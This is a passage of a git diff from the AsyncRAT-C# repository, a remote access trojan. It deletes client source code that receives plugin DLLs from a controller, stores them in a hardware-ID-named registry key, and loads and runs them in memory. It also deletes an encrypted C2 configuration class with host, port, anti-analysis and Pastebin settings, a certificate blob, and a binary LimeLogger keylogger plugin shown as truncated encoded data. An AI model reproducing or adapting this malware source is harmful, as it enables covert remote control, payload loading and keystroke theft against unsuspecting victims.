-1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/AsyncRAT-C#/Client/FodyWeavers.xsd b/AsyncRAT-C#/Client/FodyWeavers.xsd deleted file mode 100644 index 44a5374..0000000 --- a/AsyncRAT-C#/Client/FodyWeavers.xsd +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - - - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with line breaks. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with line breaks. - - - - - The order of preloaded assemblies, delimited with line breaks. - - - - - - This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. - - - - - Controls if .pdbs for reference assemblies are also embedded. - - - - - Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. - - - - - As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. - - - - - Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. - - - - - Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with |. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with |. - - - - - The order of preloaded assemblies, delimited with |. - - - - - - - - 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. - - - - - A comma-separated list of error codes that can be safely ignored in assembly verification. - - - - - 'false' to turn off automatic generation of the XML Schema file. - - - - - \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs b/AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs deleted file mode 100644 index 76ed17e..0000000 --- a/AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs +++ /dev/null @@ -1,85 +0,0 @@ -using Client.Connection; -using Client.Helper; -using Client.MessagePack; -using Microsoft.VisualBasic; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Linq; -using System.Reflection; -using System.Text; -using System.Threading; - -namespace Client.Handle_Packet -{ - public class HandlePlugin - { - public HandlePlugin(MsgPack unpack_msgpack) - { - switch (unpack_msgpack.ForcePathObject("Command").AsString) - { - case "invoke": - { - string hash = unpack_msgpack.ForcePathObject("Hash").AsString; - if (RegistryDB.GetValue(hash) != null) - { - Debug.WriteLine("Found: " + hash); - Invoke(hash); - } - else - { - Debug.WriteLine("Not Found: " + hash); - Request(unpack_msgpack.ForcePathObject("Hash").AsString); ; - } - break; - } - - case "install": - { - string hash = unpack_msgpack.ForcePathObject("Hash").AsString; - RegistryDB.SetValue(hash, unpack_msgpack.ForcePathObject("Dll").AsString); - Invoke(hash); - Debug.WriteLine("Installed: " + hash); - break; - } - } - - } - - public void Request(string hash) - { - MsgPack msgPack = new MsgPack(); - msgPack.ForcePathObject("Packet").AsString = "plugin"; - msgPack.ForcePathObject("Hash").AsString = hash; - ClientSocket.Send(msgPack.Encode2Bytes()); - } - - public void Invoke(string hash) - { - new Thread(delegate () - { - try - { - MsgPack msgPack = new MsgPack(); -#if DEBUG - msgPack.ForcePathObject("Certificate").AsString = Settings.Certificate; -#else - msgPack.ForcePathObject("Certificate").AsString = Settings.aes256.Decrypt(Settings.Certificate); -#endif - msgPack.ForcePathObject("Host").AsString = ClientSocket.TcpClient.RemoteEndPoint.ToString().Split(':')[0]; - msgPack.ForcePathObject("Port").AsString = ClientSocket.TcpClient.RemoteEndPoint.ToString().Split(':')[1]; - - Assembly loader = Assembly.Load(Convert.FromBase64String(Strings.StrReverse(RegistryDB.GetValue(hash)))); - MethodInfo meth = loader.GetType("Plugin.Plugin").GetMethod("Initialize"); - Debug.WriteLine("Invoked"); - meth.Invoke(null, new object[] { msgPack.Encode2Bytes() }); - } - catch (Exception ex) - { - Packet.Error(ex.Message); - } - }) - { IsBackground = true }.Start(); - } - } -} diff --git a/AsyncRAT-C#/Client/Helper/RegistryDB.cs b/AsyncRAT-C#/Client/Helper/RegistryDB.cs deleted file mode 100644 index 1b28cb3..0000000 --- a/AsyncRAT-C#/Client/Helper/RegistryDB.cs +++ /dev/null @@ -1,67 +0,0 @@ -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; - -namespace Client.Helper -{ - public class RegistryDB - { - private static readonly string ID = Methods.HWID(); - - public static bool SetValue(string name, string value) - { - using (RegistryKey key = Registry.CurrentUser.CreateSubKey(ID, RegistryKeyPermissionCheck.ReadWriteSubTree)) - { - key.SetValue(name, value, RegistryValueKind.String); - return true; - } - } - - public static string GetValue(string value) - { - try - { - using (RegistryKey key = Registry.CurrentUser.CreateSubKey(ID)) - { - if (key == null) return null; - object o = key.GetValue(value); - if (o == null) return null; - return (string)o; - } - } - catch { } - return null; - } - - public static bool DeleteValue(string name) - { - try - { - using (RegistryKey key = Registry.CurrentUser.OpenSubKey(ID, true)) - { - if (key == null) return false; - key.DeleteValue(name); - return true; - } - } - catch { } - return false; - } - - public static bool DeleteSubKey() - { - try - { - using (RegistryKey key = Registry.CurrentUser.OpenSubKey("", true)) - { - key.DeleteSubKeyTree(ID); - return true; - } - } - catch { } - return false; - } - } -} diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs deleted file mode 100644 index 80f3fff..0000000 --- a/AsyncRAT-C#/Client/Settings.cs +++ /dev/null @@ -1,85 +0,0 @@ -using Client.Algorithm; -using System; -using System.IO; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; -using System.Text; - -namespace Client -{ - public static class Settings - { -#if DEBUG - public static string Ports = "6606"; - public static string Hosts = "127.0.0.1"; - public static string Version = "0.5.3"; - public static string Install = "false"; - public static string InstallFolder = "AppData"; - public static string InstallFile = "Test.exe"; - public static string Key = "NYAN CAT"; - public static string MTX = "%MTX%"; - public static string Certificate = "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"; - public static string Serversignature = "%Serversignature%"; - public static X509Certificate2 ServerCertificate = new X509Certificate2(Convert.FromBase64String(Certificate)); - public static string Anti = "false"; - public static Aes256 aes256 = new Aes256(Key); - public static string Pastebin = "null"; - public static string BDOS = "false"; - -#else - public static string Ports = "%Ports%"; - public static string Hosts = "%Hosts%"; - public static string Version = "%Version%"; - public static string Install = "%Install%"; - public static string InstallFolder = "%Folder%"; - public static string InstallFile = "%File%"; - public static string Key = "%Key%"; - public static string MTX = "%MTX%"; - public static string Certificate = "%Certificate%"; - public static string Serversignature = "%Serversignature%"; - public static X509Certificate2 ServerCertificate; - public static string Anti = "%Anti%"; - public static Aes256 aes256; - public static string Pastebin = "%Pastebin%"; - public static string BDOS = "%BDOS%"; -#endif - - - public static bool InitializeSettings() - { -#if DEBUG - return true; -#endif - try - { - Key = Encoding.UTF8.GetString(Convert.FromBase64String(Key)); - aes256 = new Aes256(Key); - Ports = aes256.Decrypt(Ports); - Hosts = aes256.Decrypt(Hosts); - Version = aes256.Decrypt(Version); - Install = aes256.Decrypt(Install); - MTX = aes256.Decrypt(MTX); - Pastebin = aes256.Decrypt(Pastebin); - Anti = aes256.Decrypt(Anti); - BDOS = aes256.Decrypt(BDOS); - Serversignature = aes256.Decrypt(Serversignature); - ServerCertificate = new X509Certificate2(Convert.FromBase64String(aes256.Decrypt(Certificate))); - return VerifyHash(); - } - catch { return false; } - } - - private static bool VerifyHash() - { - try - { - var csp = (RSACryptoServiceProvider)ServerCertificate.PublicKey.Key; - return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(Key)), CryptoConfig.MapNameToOID("SHA256"), Convert.FromBase64String(Serversignature)); - } - catch (Exception) - { - return false; - } - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/LICENSE b/AsyncRAT-C#/LICENSE new file mode 100644 index 0000000..e14022f --- /dev/null +++ b/AsyncRAT-C#/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2019 NYAN CAT + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/LimeLogger.dll b/AsyncRAT-C#/Plugin/LimeLogger.dll deleted file mode 100644 index cc17afbd69d2d5beca88948daf803952b973fc91..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 23552 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 